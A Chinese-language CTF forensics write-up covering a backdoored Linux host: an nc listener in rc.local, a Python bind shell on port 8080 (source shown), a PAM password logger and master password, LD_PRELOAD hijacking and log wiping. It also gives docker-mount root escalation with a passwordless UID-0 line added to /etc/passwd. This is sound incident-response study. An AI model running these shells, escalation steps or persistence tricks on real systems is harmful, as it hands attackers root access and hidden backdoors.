1、主机后门用户名称:提交格式如:flag{backdoor}
flag{backdoor}
2、主机排查项中可以发现到flag{}内以i开头的flag,如flag{ixxxxxxx}
查看进程,发现flag,同时发现docker进程
ps aux
flag{infoFl4g}
3、主机排查发现9999端口是通过哪个配置文件如何开机启动的,如/etc/crontab则填写/etc/crontab 的md5 ,提交方式示例:flag{md5}
9999 PPID为488,而488的PPID是1,开机初始化启动的
查看服务,发现自启服务
systemctl status
rc.local文件开机自启动,通常位于/etc/rc.local或/etc/rc.d/rc.local
user@ip-10-0-10-9:~$ cat /etc/rc.d/rc.local
#!/bin/bash
echo d2hpbGUgdHJ1ZTtkbyBub2h1cCBuYyAtbHZwIDk5OTkgLWMgImZsYWd7aW5mb0ZsNGd9IiAyPiYxIDtzbGVlcCAxO2RvbmU7 | base64 -d | nohup bash &
exit 0
flag{cf8a978fe83579e2e20ec158524d8c06}
4、黑客3s做了记录所有用户的每次登陆的密码的手段,flag为黑客记录的登陆密码日志路径md5,提交方式示例:flag{md5(路径)}
发现PAM认证模块相关的动态库有两个so比较新,其中一个是bk,可能被修改过
逆向一波发现/tmp/.sshlog
查看记录了登录密码
user@ip-10-0-10-9:~$ ls /tmp -la
total 40
drwxrwxrwt 9 root root 4096 Mar 27 08:40 .
drwxr-xr-x 18 root root 4096 Mar 27 08:15 ..
drwxrwxrwt 2 root root 4096 Mar 27 08:13 .font-unix
drwxrwxrwt 2 root root 4096 Mar 27 08:13 .ICE-unix
-rw-r--r-- 1 root root 72 Mar 27 08:41 .sshlog
drwx------ 3 root root 4096 Mar 27 08:15 systemd-private-47aa859e83df4fb6b3d36a8703c5f284-apache2.service-QP2pav
drwx------ 3 root root 4096 Mar 27 08:13 systemd-private-47aa859e83df4fb6b3d36a8703c5f284-systemd-timesyncd.service-dEkEdB
drwxrwxrwt 2 root root 4096 Mar 27 08:13 .Test-unix
drwxrwxrwt 2 root root 4096 Mar 27 08:13 .X11-unix
drwxrwxrwt 2 root root 4096 Mar 27 08:13 .XIM-unix
user@ip-10-0-10-9:~$ cat /tmp/.sshlog
user :Atmbctfer!
user :Atmbctfer!
user :Atmbctfer!
user :Atmbctfer!
flag{8997d5a1b8dcca5a4be75962250959f7}
5、给出使用了/bin/bash 的RCE后门进程名称+端口号 如进程名称为sshd,端口号为22,则flag{sshd22}
ss查看网络连接发现8080有个python3
不出网,本地nc连一下发现是个后门
flag{python38080}
6、找出开机启动的后门服务名称MD5,提交flag{md5(服务名)}
开机自启服务
发现有个fail了
查看详细,像是后门
base64解密确定是后门,伪装成 docker-compose的后门
import socket, subprocess
# Create socket object
s = socket.socket()
s.bind(('', 8080))
s.listen(1)
# Continuously accept connections
while True:
conn, addr = s.accept()
try:
# Launch bash shell connected to this socket
subprocess.call(['/bin/bash'], stdin=conn, stdout=conn, stderr=conn)
finally:
# Ensure the connection is closed after use
conn.close()
flag{5213e47de16522f1dc3f9e9ecc0ab8b0}
7、渗透提权获得root目录下的flag
user是有docker权限的
user@ip-10-0-10-9:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),1001(docker)
通过挂载目录提权
user@ip-10-0-10-9:~$ docker run --name shell -v /:/n0o0b -it nginx:1 bash
root@ef9d8da7e0d4:/# ls
bin boot dev docker-entrypoint.d docker-entrypoint.sh etc home lib lib64 media mnt n0o0b opt proc root run sbin srv sys tmp usr var
root@ef9d8da7e0d4:/# cd n0o0b
root@ef9d8da7e0d4:/n0o0b# ls
bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old
root@ef9d8da7e0d4:/n0o0b# cd root
root@ef9d8da7e0d4:/n0o0b/root# ls
flag
root@ef9d8da7e0d4:/n0o0b/root# cat flag
flag{ATMB_root}
flag{ATMB_root}
root@ef9d8da7e0d4:/n0o0b# echo "n0o0b::0:0::/root:/bin/bash" >> /n0o0b/etc/passwd
root@ef9d8da7e0d4:/n0o0b# cat /n0o0b/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
backdoor:x:0:0:root:/root:/bin/bash
user:x:1000:1000::/home/user:/bin/sh
debian:x:1001:1002:Debian:/home/debian:/bin/bash
n0o0b::0:0::/root:/bin/bash
这样退出来轻松拿root
user@ip-10-0-10-9:~$ su n0o0b
root@ip-10-0-10-9:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
8、黑客3s埋了一个flag在权限维持过程中的地方,可以发现flag{}括号内的首字母是c开头,如flag{cxxxxxxx}
权限维持,先查看计划任务
root@ip-10-0-10-9:/# ps aux|grep cron
root 478 0.0 0.1 8472 2496 ? Ss 08:15 0:00 /usr/sbin/cron -f
root 2721 0.0 0.0 6092 908 pts/0 S+ 10:09 0:00 grep cron
crontab -l指令以及cron文件都没有发现,最后在/var/log/syslog日志中找到
^M
可能是被 Windows 换行符(CRLF)污染
flag{cr0nt4b_IRfind}
9、黑客3s做了一个root用户执行cat命令就删除文件的操作,请发现删除了什么文件将文件名作为flag提交
/home/user登录就有个Nomal.so
查看环境变量
root@ip-10-0-10-9:/# env
SHELL=/bin/bash
PWD=/
LOGNAME=user
XDG_SESSION_TYPE=tty
LD_PRELOAD=/home/user/Nomal.so
HOME=/root
LANG=en_US.UTF-8
SSH_CONNECTION=58.218.234.66 16681 10.0.10.9 222
XDG_SESSION_CLASS=user
TERM=xterm-256color
USER=user
SHLVL=2
XDG_SESSION_ID=2
XDG_RUNTIME_DIR=/run/user/1000
SSH_CLIENT=58.218.234.66 16681 222
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
MAIL=/var/mail/n0o0b
SSH_TTY=/dev/pts/0
_=/usr/bin/env
OLDPWD=/home/user
LD_PRELOAD劫持动态链接库
LD_PRELOAD=/home/user/Nomal.so
追踪一下/bin/cat也能看出链接了Nomal.so
flag{.bash_history}
10、黑客3s很执着清理痕迹,并做了一个持续删痕迹的手段,请发现手段并给出删除的完整黑客删除命令的md5,如flag{md5(rm -f /var/log/ssh.log >/dev/stdout)}
上题rm -rf ~/.bash_history >/dev/null 2>&1
flag{b0f531b39d88d4f603fc89bd4dd2c0aa}
11、黑客3s设置了一个万能密码后门使得这一个万能密码可以以所有用户身份登陆,也不影响原来密码使用。请发现这个万能密码,提交flag格式为flag{万能密码}
在第四问pam_unix.so中存在个万能密码绕过验证的操作
flag{ATMB6666}